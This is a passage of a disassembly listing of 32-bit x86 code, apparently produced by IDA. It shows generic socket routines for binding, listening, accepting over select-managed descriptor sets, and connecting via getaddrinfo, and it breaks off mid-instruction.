loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call ds:dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call ds:dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: .text:004022F0p ; .text:00403E80p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call ds:dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call ds:dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: .text:00402237p ; .text:00402321p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE38, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: .text:00413653p ; .text:004143EAp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: .text:004138B3p ; .text:004144B9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: .text:004139AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: .text:004138FBp ; .text:004144FEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call ds:dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: .text:0041390Cp ; .text:0041451Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; .text:00413A38p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: .text:00413A97p ; .text:004145E8p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; .text:004138AAp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call ds:dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call ds:dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: .text:00401EB8p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call ds:dword_4171F4 ; connect mov 